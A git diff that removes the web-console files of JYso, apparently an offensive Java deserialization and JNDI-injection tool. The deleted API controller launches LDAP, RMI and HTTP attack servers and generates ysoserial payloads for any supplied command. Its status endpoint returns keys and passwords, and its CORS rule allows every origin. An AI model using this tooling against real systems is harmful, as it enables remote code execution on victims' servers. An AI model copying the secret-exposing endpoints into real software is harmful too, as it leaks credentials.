-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.security.config.annotation.web.builders.HttpSecurity;
-import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
-import org.springframework.security.config.http.SessionCreationPolicy;
-import org.springframework.security.core.userdetails.User;
-import org.springframework.security.core.userdetails.UserDetails;
-import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
-import org.springframework.security.crypto.password.PasswordEncoder;
-import org.springframework.security.provisioning.InMemoryUserDetailsManager;
-import org.springframework.security.web.SecurityFilterChain;
-import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
-
-@Configuration
-@EnableWebSecurity
-public class SecurityConfig {
-
-    @Bean
-    public PasswordEncoder passwordEncoder() {
-        return new BCryptPasswordEncoder();
-    }
-
-    @Bean
-    public InMemoryUserDetailsManager userDetailsService() {
-        UserDetails user = User.builder()
-                .username("qi")
-                .password(passwordEncoder().encode(JYsoWebPasswordProvider.getPassword()))
-                .roles("ADMIN")
-                .build();
-        return new InMemoryUserDetailsManager(user);
-    }
-
-    @Bean
-    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
-        http
-            .csrf().disable()
-            .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
-            .and()
-            .authorizeRequests()
-            .anyRequest().permitAll()
-            .and()
-            .httpBasic().disable()
-            .formLogin().disable()
-            .logout().disable()
-            .addFilterBefore(new TokenAuthFilter(), UsernamePasswordAuthenticationFilter.class);
-
-        return http.build();
-    }
-}
diff --git a/src/main/java/com/qi4l/JYso/web/config/TokenAuthFilter.java b/src/main/java/com/qi4l/JYso/web/config/TokenAuthFilter.java
deleted file mode 100644
index 9644472..0000000
--- a/src/main/java/com/qi4l/JYso/web/config/TokenAuthFilter.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.qi4l.JYso.web.config;
-
-import com.qi4l.JYso.web.controller.AuthController;
-import org.springframework.web.filter.OncePerRequestFilter;
-
-import javax.servlet.FilterChain;
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-import java.io.IOException;
-
-public class TokenAuthFilter extends OncePerRequestFilter {
-
-    @Override
-    protected void doFilterInternal(HttpServletRequest request,
-                                    HttpServletResponse response,
-                                    FilterChain filterChain) throws ServletException, IOException {
-
-        String path = request.getRequestURI();
-        if (!path.startsWith("/api/") || path.equals("/api/auth/login")) {
-            filterChain.doFilter(request, response);
-            return;
-        }
-
-        String authHeader = request.getHeader("Authorization");
-        if (authHeader == null || !authHeader.startsWith("Bearer ")) {
-            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
-            response.setContentType("application/json");
-            response.getWriter().write("{\"error\":\"Unauthorized\"}");
-            return;
-        }
-
-        String token = authHeader.substring(7);
-        if (!AuthController.validateToken(token)) {
-            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
-            response.setContentType("application/json");
-            response.getWriter().write("{\"error\":\"Invalid token\"}");
-            return;
-        }
-
-        filterChain.doFilter(request, response);
-    }
-}
diff --git a/src/main/java/com/qi4l/JYso/web/config/WebConfig.java b/src/main/java/com/qi4l/JYso/web/config/WebConfig.java
deleted file mode 100644
index cf10d66..0000000
--- a/src/main/java/com/qi4l/JYso/web/config/WebConfig.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.qi4l.JYso.web.config;
-
-import org.springframework.context.annotation.Configuration;
-import org.springframework.web.servlet.config.annotation.CorsRegistry;
-import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
-import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
-import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
-
-@Configuration
-public class WebConfig implements WebMvcConfigurer {
-
-    @Override
-    public void addCorsMappings(CorsRegistry registry) {
-        registry.addMapping("/api/**")
-                .allowedOrigins("*")
-                .allowedMethods("GET", "POST", "PUT", "DELETE")
-                .allowedHeaders("*");
-    }
-
-    @Override
-    public void addResourceHandlers(ResourceHandlerRegistry registry) {
-        registry.addResourceHandler("/**")
-                .addResourceLocations("classpath:/static/");
-    }
-
-    @Override
-    public void addViewControllers(ViewControllerRegistry registry) {
-        registry.addViewController("/").setViewName("forward:/index.html");
-        registry.addViewController("/{path:[^\\.]*}").setViewName("forward:/index.html");
-    }
-}
diff --git a/src/main/java/com/qi4l/JYso/web/controller/ApiController.java b/src/main/java/com/qi4l/JYso/web/controller/ApiController.java
deleted file mode 100644
index ea5086e..0000000
--- a/src/main/java/com/qi4l/JYso/web/controller/ApiController.java
+++ /dev/null
@@ -1,237 +0,0 @@
-package com.qi4l.JYso.web.controller;
-
-import com.qi4l.JYso.HTTPServer;
-import com.qi4l.JYso.LdapServer;
-import com.qi4l.JYso.LdapsServer;
-import com.qi4l.JYso.RMIServer;
-import com.qi4l.JYso.Starter;
-import com.qi4l.JYso.gadgets.Config.Config;
-import com.qi4l.JYso.gadgets.Config.ysoserial;
-import com.qi4l.JYso.gadgets.ObjectPayload;
-import org.springframework.web.bind.annotation.*;
-
-import java.util.*;
-
-@RestController
-@RequestMapping("/api")
-public class ApiController {
-
-    @GetMapping("/status")
-    public Map<String, Object> getStatus() {
-        Map<String, Object> status = new LinkedHashMap<>();
-        status.put("ldapRunning", LdapServer.isRunning);
-        status.put("ldapsRunning", LdapsServer.isRunning);
-        status.put("httpRunning", HTTPServer.isRunning);
-        status.put("rmiRunning", RMIServer.isRunning);
-        status.put("ip", Config.ip);
-        status.put("ldapPort", Config.ldapPort);
-        status.put("ldapsPort", Config.ldapsPort);
-        status.put("httpPort", Config.httpPort);
-        status.put("rmiPort", Config.rmiPort);
-        status.put("codeBase", Config.codeBase);
-        status.put("AESkey", Config.AESkey);
-        status.put("user", Config.USER);
-        status.put("PASSWD", Config.PASSWD);
-        status.put("TLSProxy", Config.TLSProxy);
-        status.put("keyPass", Config.keyPass);
-        status.put("certFile", Config.certFile);
-        status.put("version", "1.3.8");
-        return status;
-    }
-
-    @PostMapping("/servers/start")
-    public Map<String, Object> startServers(@RequestBody Map<String, Object> body) {
-        Map<String, Object> result = new LinkedHashMap<>();
-        List<String> started = new ArrayList<>();
-        List<String> errors = new ArrayList<>();
-
-        boolean startLdap = body.get("ldap") != null && Boolean.TRUE.equals(body.get("ldap"));
-        boolean startLdaps = body.get("ldaps") != null && Boolean.TRUE.equals(body.get("ldaps"));
-        boolean startHttp = body.get("http") != null && Boolean.TRUE.equals(body.get("http"));
-        boolean startRmi = body.get("rmi") != null && Boolean.TRUE.equals(body.get("rmi"));
-
-        if (body.containsKey("ip")) Config.ip = (String) body.get("ip");
-        if (body.containsKey("ldapPort")) Config.ldapPort = (Integer) body.get("ldapPort");
-        if (body.containsKey("ldapsPort")) Config.ldapsPort = (Integer) body.get("ldapsPort");
-        if (body.containsKey("httpPort")) Config.httpPort = (Integer) body.get("httpPort");
-        if (body.containsKey("rmiPort")) Config.rmiPort = (Integer) body.get("rmiPort");
-
-        if (startLdap && !LdapServer.isRunning) {
-            new Thread(() -> {
-                try { LdapServer.start(); } catch (Exception ignored) {}
-            }, "ldap-starter").start();
-            started.add("LDAP");
-        }
-        if (startHttp && !HTTPServer.isRunning) {
-            new Thread(() -> {
-                try { HTTPServer.start(); } catch (Exception ignored) {}
-            }, "http-starter").start();
-            started.add("HTTP");
-        }
-        if (startLdaps && !LdapsServer.isRunning) {
-            new Thread(() -> {
-                try { LdapsServer.start(); } catch (Exception ignored) {}
-            }, "ldaps-starter").start();
-            started.add("LDAPS");
-        }
-        if (startRmi && !RMIServer.isRunning) {
-            new Thread(() -> {
-                try { RMIServer.start(); } catch (Exception ignored) {}
-            }, "rmi-starter").start();
-            started.add("RMI");
-        }
-
-        result.put("started", started);
-        result.put("errors", errors);
-        result.put("success", true);
-        return result;
-    }
-
-    @PostMapping("/servers/stop")
-    public Map<String, Object> stopServer(@RequestBody Map<String, Object> body) {
-        Map<String, Object> result = new LinkedHashMap<>();
-        String server = (String) body.get("server");
-        if (server == null) {
-            result.put("success", false);
-            result.put("error", "server name required");
-            return result;
-        }
-        switch (server.toLowerCase()) {
-            case "ldap":
-                LdapServer.stop();
-                break;
-            case "ldaps":
-                LdapsServer.stop();
-                break;
-            case "http":
-                HTTPServer.stop();
-                break;
-            case "rmi":
-                RMIServer.stop();
-                break;
-            default:
-                result.put("success", false);
-                result.put("error", "unknown server: " + server);
-                return result;
-        }
-        result.put("success", true);
-        result.put("server", server);
-        result.put("status", getStatus());
-        return result;
-    }
-
-    @PostMapping("/servers/toggle")
-    public Map<String, Object> toggleServer(@RequestBody Map<String, Object> body) {
-        Map<String, Object> result = new LinkedHashMap<>();
-        String server = (String) body.get("server");
-        if (server == null) {
-            result.put("success", false);
-            result.put("error", "server name required");
-            return result;
-        }
-        boolean nowRunning;
-        switch (server.toLowerCase()) {
-            case "ldap":
-                if (LdapServer.isRunning) LdapServer.stop();
-                else new Thread(() -> { try { LdapServer.start(); } catch (Exception ignored) {} }, "ldap-toggler").start();
-                nowRunning = !LdapServer.isRunning;
-                break;
-            case "ldaps":
-                if (LdapsServer.isRunning) LdapsServer.stop();
-                else new Thread(() -> { try { LdapsServer.start(); } catch (Exception ignored) {} }, "ldaps-toggler").start();
-                nowRunning = !LdapsServer.isRunning;
-                break;
-            case "http":
-                if (HTTPServer.isRunning) HTTPServer.stop();
-                else new Thread(() -> { try { HTTPServer.start(); } catch (Exception ignored) {} }, "http-toggler").start();
-                nowRunning = !HTTPServer.isRunning;
-                break;
-            case "rmi":
-                if (RMIServer.isRunning) RMIServer.stop();
-                else new Thread(() -> { try { RMIServer.start(); } catch (Exception ignored) {} }, "rmi-toggler").start();
-                nowRunning = !RMIServer.isRunning;
-                break;
-            default:
-                result.put("success", false);
-                result.put("error", "unknown server: " + server);
-                return result;
-        }
-        try { Thread.sleep(800); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
-        result.put("success", true);
-        result.put("server", server);
-        result.put("running", nowRunning);
-        result.put("status", getStatus());
-        return result;
-    }
-
-    @GetMapping("/gadgets")
-    public List<Map<String, Object>> listGadgets() {
-        List<Map<String, Object>> list = new ArrayList<>();
-        for (String name : Starter.caseInsensitiveObjectPayloadMap.keySet()) {
-            Map<String, Object> item = new LinkedHashMap<>();
-            String shortName = name.substring(name.lastIndexOf('.') + 1);
-            item.put("name", shortName);
-            item.put("fullName", name);
-            list.add(item);
-        }
-        return list;
-    }
-
-    @PostMapping("/payload/generate")
-    public Map<String, Object> generatePayload(@RequestBody Map<String, Object> body) {
-        Map<String, Object> result = new LinkedHashMap<>();
-
-        String gadget = (String) body.get("gadget");
-        String command = (String) body.get("command");
-
-        if (gadget == null || command == null) {
-            result.put("success", false);
-            result.put("error", "gadget and command are required");
-            return result;
-        }
-
-        try {
-            Starter.JYsoMode = true;
-            String[] args = new String[]{
-                    "-y",
-                    "-g", gadget,
-                    "-p", command
-            };
-            ysoserial.run(args);
-            result.put("success", true);
-            result.put("message", "Payload generated successfully");
-        } catch (Exception e) {
-            result.put("success", false);
-            result.put("error", e.getMessage());
-        }
-
-        return result;
-    }
-
-    @PostMapping("/config/update")
-    public Map<String, Object> updateConfig(@RequestBody Map<String, Object> body) {
-        Map<String, Object> result = new LinkedHashMap<>();
-
-        if (body.containsKey("ip")) Config.ip = (String) body.get("ip");
-        if (body.containsKey("ldapPort")) Config.ldapPort = (Integer) body.get("ldapPort");
-        if (body.containsKey("ldapsPort")) Config.ldapsPort = (Integer) body.get("ldapsPort");
-        if (body.containsKey("httpPort")) Config.httpPort = (Integer) body.get("httpPort");
-        if (body.containsKey("rmiPort")) Config.rmiPort = (Integer) body.get("rmiPort");
-        if (body.containsKey("codeBase")) Config.codeBase = (String) body.get("codeBase");
-        if (body.containsKey("AESkey")) Config.AESkey = (String) body.get("AESkey");
-        if (body.containsKey("user")) Config.USER = (String) body.get("user");
-        if (body.containsKey("PASSWD")) Config.PASSWD = (String) body.get("PASSWD");
-        if (body.containsKey("TLSProxy")) Config.TLSProxy = Boolean.TRUE.equals(body.get("TLSProxy"));
-        if (body.containsKey("keyPass")) Config.keyPass = (String) body.get("keyPass");
-        if (body.containsKey("certFile")) Config.certFile = (String) body.get("certFile");
-
-        result.put("success", true);
-        result.put("config", getStatus());
-        return result;
-    }
-
-    @GetMapping("/config")
-    public Map<String, Object> getConfig() {
-        return getStatus();
-    }
-}
diff --git a/src/main/java/com/qi4l/JYso/web/controller/AuthController.java b/src/main/java/com/qi4l/JYso/web/controller/AuthController.java
deleted file mode 100644
index 1fc9e26..0000000
--- a/src/main/java/com/qi4l/JYso/web/controller/AuthController.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.qi4l.JYso.web.controller;
-
-import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
-import org.springframework.http.ResponseEntity;
-import org.springframework.web.bind.annotation.*;
-
-import java.util.HashMap;
-import java.util.Map;
-import java.util.UUID;
-import java.util.concurrent.ConcurrentHashMap;
-
-@RestController
-@RequestMapping("/api/auth")
-public class AuthController {
-
-    private static final ConcurrentHashMap<String, String> tokens = new ConcurrentHashMap<>();
-
-    @PostMapping("/login")
-    public ResponseEntity<?> login(@RequestBody Map<String, String> body) {
-        String username = body.get("username");
-        String password = body.get("password");
-
-        if (!"qi".equals(username) || !JYsoWebPasswordProvider.getPassword().equals(password)) {
-            Map<String, String> error = new HashMap<>();
-            error.put("error", "Invalid credentials");
-            return ResponseEntity.status(401).body(error);
-        }
-
-        String token = UUID.randomUUID().toString();
-        tokens.put(token, username);
-        Map<String, String> result = new HashMap<>();
-        result.put("token", token);
-        result.put("username", username);
-        return ResponseEntity.ok(result);
-    }
-
-    public static boolean validateToken(String token) {
-        return token != null && tokens.containsKey(token);
-    }
-}